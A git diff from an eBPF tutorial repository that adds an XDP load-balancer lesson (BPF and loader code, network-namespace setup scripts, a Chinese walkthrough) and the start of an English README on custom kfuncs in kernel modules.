sleep(1); // Keep the program running + } + + // Cleanup and detach + bpf_xdp_detach(ifindex, 0, NULL); + xdp_lb_bpf__detach(skel); + xdp_lb_bpf__destroy(skel); + return 0; +} +``` + +### 用户空间代码概述 + +提供的用户空间代码负责设置和配置在内核中运行的 XDP 负载均衡器程序。它接受命令行参数,加载 eBPF 程序,将其附加到网络接口,并更新后端服务器的配置信息。 + +### 1. **解析命令行参数和设置后端服务器** + +程序期望五个命令行参数:网络接口的名称 (`ifname`)、两个后端服务器的 IP 地址和 MAC 地址。它通过 `inet_pton()` 函数解析 IP 地址,并使用 `parse_mac()` 函数解析 MAC 地址,确保提供的 MAC 地址格式正确。解析后的后端信息存储在 `backend_config` 结构体中。 + +### 2. **加载并附加 BPF 程序** + +BPF skeleton(通过 `xdp_lb.skel.h` 生成)用于打开并将 XDP 程序加载到内核中。程序通过 `if_nametoindex()` 将网络接口名称转换为索引,然后使用 `bpf_program__attach_xdp()` 将加载的 BPF 程序附加到此接口上。 + +### 3. **配置后端服务器信息** + +后端的 IP 和 MAC 地址被写入 `backends` BPF map 中,使用 `bpf_map_update_elem()` 函数。此步骤确保 BPF 程序能够访问后端配置,从而基于内核代码中的逻辑将数据包路由到正确的后端服务器。 + +### 4. **程序循环与清理** + +程序进入无限循环(`while (1) { sleep(1); }`),使 XDP 程序保持运行。当用户通过按下 Ctrl+C 退出时,BPF 程序从网络接口上卸载,并通过调用 `xdp_lb_bpf__destroy()` 清理资源。 + +总的来说,这段用户空间代码负责配置和管理 XDP 负载均衡器的生命周期,使得可以动态更新后端配置,并确保负载均衡器正确附加到网络接口上。 + +### 测试环境拓扑 + +拓扑结构表示一个测试环境,其中本地机器通过负载均衡器与两个后端节点(h2 和 h3)通信。通过虚拟以太网对(veth0 到 veth6),本地机器与负载均衡器相连,在受控环境中模拟网络连接。每个虚拟接口都有自己的 IP 和 MAC 地址,代表不同的实体。 + +```txt + +---------------------------+ + | 本地机器 | + | IP: 10.0.0.1 (veth0) | + | MAC: DE:AD:BE:EF:00:01 | + +------------+---------------+ + | + | (veth1) + | + +--------+---------------+ + | 负载均衡器 | + | IP: 10.0.0.10 (veth6) | + | MAC: DE:AD:BE:EF:00:10| + +--------+---------------+ + | + +---------+----------------------------+ + | | +(veth2) (veth4) + | | ++--+---------------+ +--------+---------+ +| h2 | | h3 | +| IP: | | IP: | +|10.0.0.2 (veth3) | |10.0.0.3 (veth5) | +| MAC: | | MAC: | +|DE:AD:BE:EF:00:02 | |DE:AD:BE:EF:00:03 | ++------------------+ +------------------+ +``` + +这个设置可以通过脚本(`setup.sh`)轻松初始化,并通过另一个脚本(`teardown.sh`)删除。 + +> 如果您对本教程感兴趣,请帮助我们创建一个容器化的版本,简化设置和拓扑结构!目前的设置和删除过程基于网络命名空间,容器化的版本会更加友好。 + +初始化: + +```sh +sudo ./setup.sh +``` + +删除: + +```sh +sudo ./teardown.sh +``` + +### 运行负载均衡器 + +要运行 XDP 负载均衡器,执行以下命令,指定接口和后端服务器的 IP 和 MAC 地址: + +```console +sudo ip netns exec lb ./xdp_lb veth6 10.0.0.2 de:ad:be:ef:00:02 10.0.0.3 de:ad:be:ef:00:03 +``` + +这将配置负载均衡器并输出后端服务器的详细信息: + +```console +XDP load balancer configured with backends: +Backend 1 - IP: 10.0.0.2, MAC: de:ad:be:ef:00:02 +Backend 2 - IP: 10.0.0.3, MAC: de:ad:be:ef:00:03 +Press Ctrl+C to exit... +``` + +### 测试设置 + +您可以通过在两个后端命名空间(`h2` 和 `h3`)启动 HTTP 服务器,并从本地机器向负载均衡器发送请求来测试设置: + +在 `h2` 和 `h3` 上启动服务器: + +```sh +sudo ip netns exec h2 python3 -m http.server +sudo ip netns exec h3 python3 -m http.server +``` + +然后,向负载均衡器 IP 发送请求: + +```sh +curl 10.0.0.10:8000 +``` + +负载均衡器将根据哈希函数将流量分配到后端服务器(`h2` 和 `h3`)。 + +### 使用 `bpf_printk` 进行监控 + +您可以通过查看 `bpf_printk` 日志来监控负载均衡器的活动。BPF 程序在处理每个数据包时会打印诊断消息。您可以使用以下命令查看这些日志: + +```console +sudo cat /sys/kernel/debug/tracing/trace_pipe +``` + +日志示例: + +```console +-0 [004] ..s2. 24174.812722: bpf_trace_printk: xdp_load_balancer received packet +-0 [004] .Ns2. 24174.812729: bpf_trace_printk: Received Source IP: 0xa000001 +-0 [004] .Ns2. 24174.812729: Received Destination IP: 0xa00000a +-0 [004] .Ns2. 24174.812731: Received Source MAC: de:ad:be:ef:0:1 +-0 [004] .Ns2. 24174.812732: Received Destination MAC: de:ad:be:ef:0:10 +-0 [004] .Ns2. 24174.812732: Packet from client +-0 [004] .Ns2. 24174.812734: bpf_trace_printk: Redirecting packet to new IP 0xa000002 from IP 0xa00000a +-0 [004] .Ns2. 24174.812735: New Dest MAC: de:ad:be:ef:0:2 +-0 [004] .Ns2. 24174.812735: New Source MAC: de:ad:be:ef:0:10 +``` + +### 调试问题 + +某些系统可能会因为类似于此[博客文章](https://fedepaol.github.io/blog/2023/09/11/xdp-ate-my-packets-and-how-i-debugged-it/)中描述的问题而导致数据包丢失或转发失败。您可以使用 `bpftrace` 跟踪 XDP 错误进行调试: + +```sh +sudo bpftrace -e 'tracepoint:xdp:xdp_bulk_tx{@redir_errno[-args->err] = count();}' +``` + +如果输出如下所示: + +```sh +@redir_errno[6]: 3 +``` + +这表明与 XDP 数据包转发相关的错误。错误代码 `6` 通常指向可以进一步调查的特定转发问题。 + +### 结论 + +本教程展示了如何使用 eBPF 设置一个简单的 XDP 负载均衡器,以实现高效的流量分发。对于那些想了解更多关于 eBPF 知识的用户,包括更高级的示例和教程,请访问我们的 [https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) 或我们的网站 [https://eunomia.dev/tutorials/](https://eunomia.dev/tutorials/)。 + +### 参考文献 + +- [XDP 编程实践教程](https://github.com/xdp-project/xdp-tutorial) \ No newline at end of file diff --git a/src/42-xdp-loadbalancer/connect.md b/src/42-xdp-loadbalancer/connect.md new file mode 100644 index 00000000..b7794e8c --- /dev/null +++ b/src/42-xdp-loadbalancer/connect.md @@ -0,0 +1,70 @@ +# Network setup for bpf-developer-tutorial + +In this tutorial, we will set up a simple network topology that simulates a load balancer using eBPF/XDP (Express Data Path). The setup includes a local machine, a load balancer (which can be enhanced with an XDP program), and two backend servers (`h2` and `h3`). The local machine routes packets to the load balancer, which then distributes traffic between the backend servers. + +# Simple XDP Load Balancer Tutorial + +This tutorial will guide you in setting up a simple virtual network to simulate a load balancer using eBPF/XDP. + +## Network Topology + +```txt + +------------------+ + | Local Machine | + | IP: 10.0.0.1 | + +--------+---------+ + | + +--------+---------+ + | Load Balancer | + | IP: 10.0.0.10 | + +--------+---------+ + | + +-------+-------+ + | | ++---+---+ +---+---+ +| h2 | | h3 | +|10.0.0.2| |10.0.0.3| ++-------+ +-------+ +``` + +- **Local Machine**: Simulates a client (`10.0.0.1`) sending traffic. +- **Load Balancer**: Distributes traffic to backend servers (`10.0.0.10`). +- **h2** and **h3**: Simulate backend servers (`10.0.0.2` and `10.0.0.3`). + +### Setup Steps + +This script creates virtual network namespaces and sets up IP addresses for the local machine, load balancer, and backend servers. + +```bash +sudo ./setup.sh +``` + +To clean up the setup after testing: + +```bash +sudo ./teardown.sh +``` + +### Testing the Network + +You can test the network connectivity using `ping` commands: + +Ping Between Backend Servers (`h2` to `h3`) + +```bash +sudo ip netns exec h2 ping -c 3 10.0.0.3 +``` + +Ping from Backend Server (`h2`) to Load Balancer + +```bash +sudo ip netns exec h2 ping -c 3 10.0.0.10 +``` + +Ping from Local Machine to Load Balancer + +```bash +ping -c 3 10.0.0.10 +``` + +That's it! This simple setup lets you simulate a load balancer using eBPF/XDP. You can extend it by adding custom XDP programs to control the traffic distribution between `h2` and `h3`. diff --git a/src/42-xdp-loadbalancer/no-docker/xdp_pass.c b/src/42-xdp-loadbalancer/no-docker/xdp_pass.c new file mode 100644 index 00000000..daa13b2a --- /dev/null +++ b/src/42-xdp-loadbalancer/no-docker/xdp_pass.c @@ -0,0 +1,14 @@ +#include "vmlinux.h" +#include + +SEC("xdp") +int xdp_pass(struct xdp_md* ctx) { + void* data = (void*)(long)ctx->data; + void* data_end = (void*)(long)ctx->data_end; + int pkt_sz = data_end - data; + + bpf_printk("packet size is %d", pkt_sz); + return XDP_PASS; +} + +char __license[] SEC("license") = "GPL"; \ No newline at end of file diff --git a/src/42-xdp-loadbalancer/no-docker/xdp_pass.o b/src/42-xdp-loadbalancer/no-docker/xdp_pass.o new file mode 100644 index 00000000..eaf78a11 Binary files /dev/null and b/src/42-xdp-loadbalancer/no-docker/xdp_pass.o differ diff --git a/src/42-xdp-loadbalancer/setup.sh b/src/42-xdp-loadbalancer/setup.sh new file mode 100755 index 00000000..e3f7216f --- /dev/null +++ b/src/42-xdp-loadbalancer/setup.sh @@ -0,0 +1,159 @@ +#!/bin/bash + +set -xe + +part_mac="DE:AD:BE:EF:00:" + +create_bridge () { + if ! ip link show $1 &> /dev/null; then + ip link add name $1 type bridge + ip link set dev $1 up + else + echo "Bridge $1 already exists." + fi +} + +create_pair () { + if ! ip link show $1 &> /dev/null; then + ip link add name $1 type veth peer name $2 + ip link set $1 address "$part_mac""$5" + ip addr add $3 brd + dev $1 + ip link set $2 master $4 + ip link set dev $1 up + ip link set dev $2 up + else + echo "Veth pair $1 <--> $2 already exists." + fi +} + +create_pair_ns () { + if ! ip link show $2 &> /dev/null; then + ip link add name $1 type veth peer name $2 + ip link set $2 master $4 + ip link set dev $2 up + + ip netns add $5 + ip link set $1 netns $5 + ip netns exec $5 ip addr add $3 brd + dev $1 + ip netns exec $5 ip link set $1 address "$part_mac""$6" + ip netns exec $5 ip link set dev $1 up + ip netns exec $5 ip link set lo up # Bring up loopback interface + else + echo "Veth pair $1 <--> $2 already exists in namespace $5." + fi +} + +# Create bridge br0 +create_bridge br0 + +# Create veth pairs and assign IPs +create_pair veth0 veth1 "10.0.0.1/24" br0 01 + +# Create veth pairs in namespaces h2, h3, and lb +create_pair_ns veth2 veth3 "10.0.0.2/24" br0 h2 02 +create_pair_ns veth4 veth5 "10.0.0.3/24" br0 h3 03 + +# Create the lb namespace +create_pair_ns veth6 veth7 "10.0.0.10/24" br0 lb 10 + +# Enable IP forwarding on the host +sudo sysctl -w net.ipv4.ip_forward=1 + +# Set the FORWARD chain policy to ACCEPT in iptables to ensure packets are forwarded +sudo iptables -P FORWARD ACCEPT + +# maybe you can do similar things +# sudo ip netns exec h2 bpftool load xdp_pass.o veth2 +# sudo ip netns exec h3 bpftool load xdp_pass.o veth4 + +# Helper function for error exit on ping failure +function ping_or_fail() { + if ! sudo ip netns exec $1 ping -c 3 $2; then + echo "Ping from $1 to $2 failed!" + exit 1 + fi +} + +# Ping test with failure checks +function check_connectivity() { + echo "Testing connectivity between namespaces and Load Balancer..." + + # Ping from h2 to h3 and h3 to h2 + ping_or_fail h2 10.0.0.3 + ping_or_fail h3 10.0.0.2 + + # Ping from h2 to Load Balancer and h3 to Load Balancer + ping_or_fail h2 10.0.0.10 + ping_or_fail h3 10.0.0.10 + + # Ping from Load Balancer to h2 and h3 + ping_or_fail lb 10.0.0.2 + ping_or_fail lb 10.0.0.3 + + # Ping from Local Machine to Load Balancer + ping -c 3 10.0.0.10 || { echo "Ping from Local Machine to Load Balancer failed!"; exit 1; } + + echo "All ping tests passed!" +} + +# Debugging helper functions + +# Check if all interfaces are up and running +check_interfaces () { + for ns in h2 h3 lb; do + echo "Checking interfaces in namespace $ns..." + sudo ip netns exec $ns ip addr show + sudo ip netns exec $ns ip link show + done + + echo "Checking bridge br0..." + ip addr show br0 + ip link show br0 +} + +# Check IP forwarding settings +check_ip_forwarding () { + echo "Checking IP forwarding status on the host..." + sudo sysctl net.ipv4.ip_forward + + echo "Checking IP forwarding status in namespace $ns..." + sudo ip netns exec $ns sysctl net.ipv4.ip_forward +} + +# Check ARP table +check_arp_table () { + echo "Checking ARP table on the host..." + arp -n + + for ns in h2 h3 lb; do + echo "Checking ARP table in namespace $ns..." + sudo ip netns exec $ns ip neigh show + done +} + +# Check routing tables +check_routing_table () { + echo "Checking routing table on the host..." + ip route show + + for ns in h2 h3 lb; do + echo "Checking routing table in namespace $ns..." + sudo ip netns exec $ns ip route show + done +} + +# Check if firewall rules are blocking traffic +check_firewall_rules () { + echo "Checking firewall rules on the host..." + sudo iptables -L +} + +# Run checks to verify the network +check_interfaces +check_ip_forwarding +check_arp_table +check_routing_table +check_firewall_rules +check_connectivity + +echo "Setup and checks completed!" diff --git a/src/42-xdp-loadbalancer/stub.bpf.c b/src/42-xdp-loadbalancer/stub.bpf.c new file mode 100644 index 00000000..0c8f1d81 --- /dev/null +++ b/src/42-xdp-loadbalancer/stub.bpf.c @@ -0,0 +1,7 @@ +#include +#include + +SEC(".xdp") +int main () { + return XDP_PASS; +} diff --git a/src/42-xdp-loadbalancer/teardown.sh b/src/42-xdp-loadbalancer/teardown.sh new file mode 100755 index 00000000..2fd68de5 --- /dev/null +++ b/src/42-xdp-loadbalancer/teardown.sh @@ -0,0 +1,36 @@ +#!/bin/bash + +set -xe + +rm_bridge () { + if ip link show $1 &> /dev/null; then + ip link set dev $1 down + ip link delete $1 type bridge + fi +} + +rm_pair () { + if ip link show $1 &> /dev/null; then + ip link delete $1 type veth + fi +} + +rm_ns () { + if ip netns list | grep -w "$1" &> /dev/null; then + ip netns delete $1 + fi +} + +# Remove bridge br0 +rm_bridge br0 + +# Remove veth pairs +rm_pair veth0 +rm_pair veth2 +rm_pair veth4 +rm_pair veth6 + +# Remove namespaces +rm_ns h2 +rm_ns h3 +rm_ns lb diff --git a/src/42-xdp-loadbalancer/xdp_lb.bpf.c b/src/42-xdp-loadbalancer/xdp_lb.bpf.c new file mode 100644 index 00000000..8d0b39b5 --- /dev/null +++ b/src/42-xdp-loadbalancer/xdp_lb.bpf.c @@ -0,0 +1,168 @@ +// xdp_lb.bpf.c +#include +#include +#include +#include +#include +#include +#include +#include "xx_hash.h" + +#define MAX_TCP_CHECK_WORDS 750 // max 1500 bytes to check in TCP checksum. This is MTU dependent + +struct backend_config { + __u32 ip; + unsigned char mac[ETH_ALEN]; +}; + +// Backend IP and MAC address map +struct { + __uint(type, BPF_MAP_TYPE_ARRAY); + __uint(max_entries, 2); // Two backends + __type(key, __u32); + __type(value, struct backend_config); +} backends SEC(".maps"); + +int client_ip = bpf_htonl(0xa000001); +unsigned char client_mac[ETH_ALEN] = {0xDE, 0xAD, 0xBE, 0xEF, 0x0, 0x1}; +int load_balancer_ip = bpf_htonl(0xa00000a); +unsigned char load_balancer_mac[ETH_ALEN] = {0xDE, 0xAD, 0xBE, 0xEF, 0x0, 0x10}; + +static __always_inline __u16 +csum_fold_helper(__u64 csum) +{ + int i; + for (i = 0; i < 4; i++) + { + if (csum >> 16) + csum = (csum & 0xffff) + (csum >> 16); + } + return ~csum; +} + +static __always_inline __u16 +tcph_csum(struct tcphdr *tcph, struct iphdr *iph, void *data_end) +{ + // Clear checksum + tcph->check = 0; + + // Pseudo header checksum calculation + __u32 sum = 0; + sum += (__u16)(iph->saddr >> 16) + (__u16)(iph->saddr & 0xFFFF); + sum += (__u16)(iph->daddr >> 16) + (__u16)(iph->daddr & 0xFFFF); + sum += __constant_htons(IPPROTO_TCP); + sum += __constant_htons((__u16)(data_end - (void *)tcph)); + + // TCP header and payload checksum + #pragma clang loop unroll_count(MAX_TCP_CHECK_WORDS) + for (int i = 0; i <= MAX_TCP_CHECK_WORDS; i++) { + __u16 *ptr = (__u16 *)tcph + i; + if ((void *)ptr + 2 > data_end) + break; + sum += *(__u16 *)ptr; + } + + // fold into 16 bit + while (sum >> 16) + sum = (sum & 0xFFFF) + (sum >> 16); + + return ~sum; +} + +static __always_inline __u16 +iph_csum(struct iphdr *iph) +{ + iph->check = 0; + unsigned long long csum = bpf_csum_diff(0, 0, (unsigned int *)iph, sizeof(struct iphdr), 0); + return csum_fold_helper(csum); +} + +SEC("xdp") +int xdp_load_balancer(struct xdp_md *ctx) { + void *data_end = (void *)(long)ctx->data_end; + void *data = (void *)(long)ctx->data; + + bpf_printk("xdp_load_balancer received packet"); + + // Ethernet header + struct ethhdr *eth = data; + if ((void *)(eth + 1) > data_end) + return XDP_PASS; + + // Check if the packet is IP (IPv4) + if (eth->h_proto != __constant_htons(ETH_P_IP)) + return XDP_PASS; + + // IP header + struct iphdr *iph = (struct iphdr *)(eth + 1); + if ((void *)(iph + 1) > data_end) + return XDP_PASS; + + // Check if the protocol is TCP or UDP + if (iph->protocol != IPPROTO_TCP) + return XDP_PASS; + + // TCP header + struct tcphdr *tcph = (void *)iph + iph->ihl * 4; + if ((void *)tcph + sizeof(*tcph) > data_end) + return XDP_PASS; + + bpf_printk("Received Source IP: 0x%x", bpf_ntohl(iph->saddr)); + bpf_printk("Received Destination IP: 0x%x", bpf_ntohl(iph->daddr)); + bpf_printk("Received Source MAC: %x:%x:%x:%x:%x:%x", eth->h_source[0], eth->h_source[1], eth->h_source[2], eth->h_source[3], eth->h_source[4], eth->h_source[5]); + bpf_printk("Received Destination MAC: %x:%x:%x:%x:%x:%x", eth->h_dest[0], eth->h_dest[1], eth->h_dest[2], eth->h_dest[3], eth->h_dest[4], eth->h_dest[5]); + + if (iph->saddr == client_ip) + { + bpf_printk("Packet from client"); + + struct { + __u32 src_ip; + __u32 dst_ip; + __u16 src_port; + __u16 dst_port; + } four_tuple = {iph->saddr, + iph->daddr, + bpf_ntohs(tcph->source), + bpf_ntohs(tcph->dest) + }; + + // Hash the 4-tuple for flow based backend decision + __u32 key = xxhash32((const char *)&four_tuple, sizeof(four_tuple), 0) % 2; + + struct backend_config *backend = bpf_map_lookup_elem(&backends, &key); + if (!backend) + return XDP_PASS; + + iph->daddr = backend->ip; + __builtin_memcpy(eth->h_dest, backend->mac, ETH_ALEN); + } + else + { + bpf_printk("Packet from backend"); + iph->daddr = client_ip; + __builtin_memcpy(eth->h_dest, client_mac, ETH_ALEN); + } + + // Update IP source address to the load balancer's IP + iph->saddr = load_balancer_ip; + // Update Ethernet source MAC address to the current lb's MAC + __builtin_memcpy(eth->h_source, load_balancer_mac, ETH_ALEN); + + // Recalculate IP checksum + iph->check = iph_csum(iph); + + // Recalculate TCP checksum + tcph->check = tcph_csum(tcph, iph, data_end); + + bpf_printk("Redirecting packet to new IP 0x%x from IP 0x%x", + bpf_ntohl(iph->daddr), + bpf_ntohl(iph->saddr) + ); + bpf_printk("New Dest MAC: %x:%x:%x:%x:%x:%x", eth->h_dest[0], eth->h_dest[1], eth->h_dest[2], eth->h_dest[3], eth->h_dest[4], eth->h_dest[5]); + bpf_printk("New Source MAC: %x:%x:%x:%x:%x:%x\n", eth->h_source[0], eth->h_source[1], eth->h_source[2], eth->h_source[3], eth->h_source[4], eth->h_source[5]); + // Return XDP_TX to transmit the modified packet back to the network + return XDP_TX; +} + +char _license[] SEC("license") = "GPL"; diff --git a/src/42-xdp-loadbalancer/xdp_lb.c b/src/42-xdp-loadbalancer/xdp_lb.c new file mode 100644 index 00000000..e97ed4be --- /dev/null +++ b/src/42-xdp-loadbalancer/xdp_lb.c @@ -0,0 +1,96 @@ +// xdp_lb.c +#include +#include +#include +#include +#include +#include +#include +#include +#include "xdp_lb.skel.h" // The generated skeleton + +struct backend_config { + __u32 ip; + unsigned char mac[6]; +}; + +static int parse_mac(const char *str, unsigned char *mac) { + if (sscanf(str, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", + &mac[0], &mac[1], &mac[2], &mac[3], &mac[4], &mac[5]) != 6) { + fprintf(stderr, "Invalid MAC address format\n"); + return -1; + } + return 0; +} + +int main(int argc, char **argv) { + if (argc != 6) { + fprintf(stderr, "Usage: %s \n", argv[0]); + return 1; + } + + const char *ifname = argv[1]; + struct backend_config backend[2]; + + // Parse backend 1 + if (inet_pton(AF_INET, argv[2], &backend[0].ip) != 1) { + fprintf(stderr, "Invalid backend 1 IP address\n"); + return 1; + } + if (parse_mac(argv[3], backend[0].mac) < 0) { + return 1; + } + + // Parse backend 2 + if (inet_pton(AF_INET, argv[4], &backend[1].ip) != 1) { + fprintf(stderr, "Invalid backend 2 IP address\n"); + return 1; + } + if (parse_mac(argv[5], backend[1].mac) < 0) { + return 1; + } + + // Load and attach the BPF program + struct xdp_lb_bpf *skel = xdp_lb_bpf__open_and_load(); + if (!skel) { + fprintf(stderr, "Failed to open and load BPF skeleton\n"); + return 1; + } + + int ifindex = if_nametoindex(ifname); + if (ifindex < 0) { + perror("if_nametoindex"); + xdp_lb_bpf__destroy(skel); + return 1; + } + + if (bpf_program__attach_xdp(skel->progs.xdp_load_balancer, ifindex) < 0) { + fprintf(stderr, "Failed to attach XDP program\n"); + xdp_lb_bpf__destroy(skel); + return 1; + } + + // Update backend configurations + for (int i = 0; i < 2; i++) { + if (bpf_map_update_elem(bpf_map__fd(skel->maps.backends), &i, &backend[i], 0) < 0) { + perror("bpf_map_update_elem"); + xdp_lb_bpf__destroy(skel); + return 1; + } + } + + printf("XDP load balancer configured with backends:\n"); + printf("Backend 1 - IP: %s, MAC: %s\n", argv[2], argv[3]); + printf("Backend 2 - IP: %s, MAC: %s\n", argv[4], argv[5]); + + printf("Press Ctrl+C to exit...\n"); + while (1) { + sleep(1); // Keep the program running + } + + // Cleanup and detach + bpf_xdp_detach(ifindex, 0, NULL); + xdp_lb_bpf__detach(skel); + xdp_lb_bpf__destroy(skel); + return 0; +} diff --git a/src/42-xdp-loadbalancer/xx_hash.h b/src/42-xdp-loadbalancer/xx_hash.h new file mode 100644 index 00000000..9e1023bf --- /dev/null +++ b/src/42-xdp-loadbalancer/xx_hash.h @@ -0,0 +1,57 @@ +#ifndef XXHASH_BPF_H +#define XXHASH_BPF_H + +#define PRIME1 0x9E3779B1U +#define PRIME2 0x85EBCA77U +#define PRIME3 0xC2B2AE3DU +#define PRIME4 0x27D4EB2FU +#define PRIME5 0x165667B1U + +static __always_inline unsigned int rotl (unsigned int x, int r) { + return ((x << r) | (x >> (32 - r))); +} +// Normal stripe processing routine. +static __always_inline unsigned int round_xxhash(unsigned int acc, const unsigned int input) { + return rotl(acc + (input * PRIME2), 13) * PRIME1; +} + +static __always_inline unsigned int avalanche_step (const unsigned int h, const int rshift, const unsigned int prime) { + return (h ^ (h >> rshift)) * prime; +} +// Mixes all bits to finalize the hash. +static __always_inline unsigned int avalanche (const unsigned int h) { + return avalanche_step(avalanche_step(avalanche_step(h, 15, PRIME2), 13, PRIME3), 16, 1); +} + +static __always_inline unsigned int endian32 (const char *v) { + return (unsigned int)((unsigned char)(v[0]))|((unsigned int)((unsigned char)(v[1])) << 8) + |((unsigned int)((unsigned char)(v[2])) << 16)|((unsigned int)((unsigned char)(v[3])) << 24); +} + +static __always_inline unsigned int fetch32 (const char *p, const unsigned int v) { + return round_xxhash(v, endian32(p)); +} + +// Processes the last 0-15 bytes of p. +static __always_inline unsigned int finalize (const unsigned int h, const char *p, unsigned int len) { + return + (len >= 4) ? finalize(rotl(h + (endian32(p) * PRIME3), 17) * PRIME4, p + 4, len - 4) : + (len > 0) ? finalize(rotl(h + ((unsigned char)(*p) * PRIME5), 11) * PRIME1, p + 1, len - 1) : + avalanche(h); +} + +static __always_inline unsigned int h16bytes_4 (const char *p, unsigned int len, const unsigned int v1, const unsigned int v2, const unsigned int v3, const unsigned int v4) { + return + (len >= 16) ? h16bytes_4(p + 16, len - 16, fetch32(p, v1), fetch32(p+4, v2), fetch32(p+8, v3), fetch32(p+12, v4)) : + rotl(v1, 1) + rotl(v2, 7) + rotl(v3, 12) + rotl(v4, 18); +} + +static __always_inline unsigned int h16bytes_3 (const char *p, unsigned int len, const unsigned int seed) { + return h16bytes_4(p, len, seed + PRIME1 + PRIME2, seed + PRIME2, seed, seed - PRIME1); +} + +static __always_inline unsigned int xxhash32 (const char *input, unsigned int len, unsigned int seed) { + return finalize((len >= 16 ? h16bytes_3(input, len, seed) : seed + PRIME5) + len, (input) + (len & ~0xF), len & 0xF); +} + +#endif diff --git a/src/43-kfuncs/.config b/src/43-kfuncs/.config new file mode 100644 index 00000000..73992da3 --- /dev/null +++ b/src/43-kfuncs/.config @@ -0,0 +1,2 @@ +level=Depth +type=Features diff --git a/src/43-kfuncs/.gitignore b/src/43-kfuncs/.gitignore new file mode 100644 index 00000000..c71a9ec6 --- /dev/null +++ b/src/43-kfuncs/.gitignore @@ -0,0 +1,10 @@ +.vscode +package.json +*.o +*.skel.json +*.skel.yaml +package.yaml +ecli +ecc +.output +kfunc diff --git a/src/32-http2/Makefile b/src/43-kfuncs/Makefile similarity index 96% rename from src/32-http2/Makefile rename to src/43-kfuncs/Makefile index 6b1b0b36..71649c31 100644 --- a/src/32-http2/Makefile +++ b/src/43-kfuncs/Makefile @@ -5,7 +5,7 @@ LIBBPF_SRC := $(abspath ../third_party/libbpf/src) BPFTOOL_SRC := $(abspath ../third_party/bpftool/src) LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool) -BPFTOOL ?= $(BPFTOOL_OUTPUT)/funclatency/bpftool +BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool LIBBLAZESYM_SRC := $(abspath ../third_party/blazesym/) LIBBLAZESYM_OBJ := $(abspath $(OUTPUT)/libblazesym.a) LIBBLAZESYM_HEADER := $(abspath $(OUTPUT)/blazesym.h) @@ -24,7 +24,7 @@ INCLUDES := -I$(OUTPUT) -I../third_party/libbpf/include/uapi -I$(dir $(VMLINUX)) CFLAGS := -g -Wall ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS) -APPS = funclatency # minimal minimal_legacy uprobe kprobe fentry usdt sockfilter tc ksyscall +APPS = kfunc # minimal minimal_legacy uprobe kprobe fentry usdt sockfilter tc ksyscall CARGO ?= $(shell which cargo) ifeq ($(strip $(CARGO)),) @@ -91,7 +91,7 @@ $(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPU # Build bpftool $(BPFTOOL): | $(BPFTOOL_OUTPUT) $(call msg,BPFTOOL,$@) - $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) funclatency + $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap $(LIBBLAZESYM_SRC)/target/release/libblazesym.a:: diff --git a/src/43-kfuncs/README.md b/src/43-kfuncs/README.md new file mode 100644 index 00000000..76c1ef35 --- /dev/null +++ b/src/43-kfuncs/README.md @@ -0,0 +1,447 @@ +# Extending eBPF Beyond Its Limits: Custom kfuncs in Kernel Modules + +Have you ever felt constrained by eBPF's capabilities? Maybe you've run into situations where the existing eBPF features just aren't enough to accomplish your goals. Perhaps you need deeper interactions with the kernel, or you're facing performance issues that the standard eBPF runtime can't solve. If you've ever wished for more flexibility and power in your eBPF programs, this tutorial is for you. + +> The complete source code: + +## Introduction: Adding a `strstr` kfunc to Break Free from eBPF Runtime Limitations + +**eBPF (extended Berkeley Packet Filter)** has revolutionized Linux system programming by allowing developers to run sandboxed programs inside the kernel. It's a game-changer for networking, security, and observability, enabling powerful functionalities without the need to modify kernel source code or load traditional kernel modules. + +But as amazing as eBPF is, it isn't without its limitations: + +- **Functionality Gaps:** Sometimes, the existing features of the eBPF runtime don't provide the specific capabilities you need. +- **Complex Requirements:** Certain tasks demand more intricate kernel interactions that eBPF can't handle out of the box. +- **Performance Issues:** In some cases, the overhead of the eBPF runtime introduces latency or isn't efficient enough for high-performance requirements. + +These challenges stem from the limitations of the **entire eBPF runtime**, not just its helper functions. So how do you overcome these hurdles without altering the kernel itself? + +Enter **kfuncs (BPF Kernel Functions)**. By defining your own kfuncs within kernel modules, you can extend eBPF's capabilities beyond its default limitations. This approach lets you: + +- **Enhance Functionality:** Introduce new operations that aren't available in the standard eBPF runtime. +- **Customize Behavior:** Tailor kernel interactions to fit your specific needs. +- **Boost Performance:** Optimize critical paths by executing custom code directly in the kernel context. + +**In this tutorial, we'll specifically add a `strstr` kfunc.** While implementing a string search directly in eBPF is challenging due to verifier restrictions, defining it as a kfunc allows us to bypass these limitations and perform more complex operations safely and efficiently. + +Best of all, you achieve this without modifying the core kernel, keeping your system stable and your code safe. + +In this tutorial, we'll show you how to define custom kfuncs to fill any gaps in eBPF's capabilities. We'll walk through creating a kernel module that introduces new kfuncs and demonstrate how to use them in your eBPF programs. Whether you're looking to overcome performance bottlenecks or need features the eBPF runtime doesn't offer, custom kfuncs can unlock new possibilities for your projects. + +## Understanding kfunc: Extending eBPF Beyond Helpers + +### What Are kfuncs? + +**BPF Kernel Functions (kfuncs)** are specialized functions within the Linux kernel that are exposed for use by eBPF programs. Unlike standard eBPF helpers, kfuncs do not have a stable interface and can vary between kernel releases. This variability means that BPF programs utilizing kfuncs need to be updated in tandem with kernel updates to maintain compatibility and stability. + +### Why Use kfuncs? + +1. **Extended Functionality:** kfuncs enable operations that standard eBPF helpers cannot perform. +2. **Customization:** Define logic tailored to specific use cases, enhancing the flexibility of eBPF programs. +3. **Safety and Stability:** By encapsulating kfuncs within kernel modules, you avoid direct modifications to the core kernel, preserving system integrity. + +### How kfuncs Fit into eBPF + +kfuncs serve as bridges between eBPF programs and deeper kernel functionalities. They allow eBPF programs to perform more intricate operations by either exposing existing kernel functions or introducing new wrappers specifically designed for eBPF interactions. This integration facilitates deeper kernel interactions while ensuring that eBPF programs remain safe and maintainable. + +It's important to note that the Linux kernel already includes a plethora of kfuncs. These built-in kfuncs 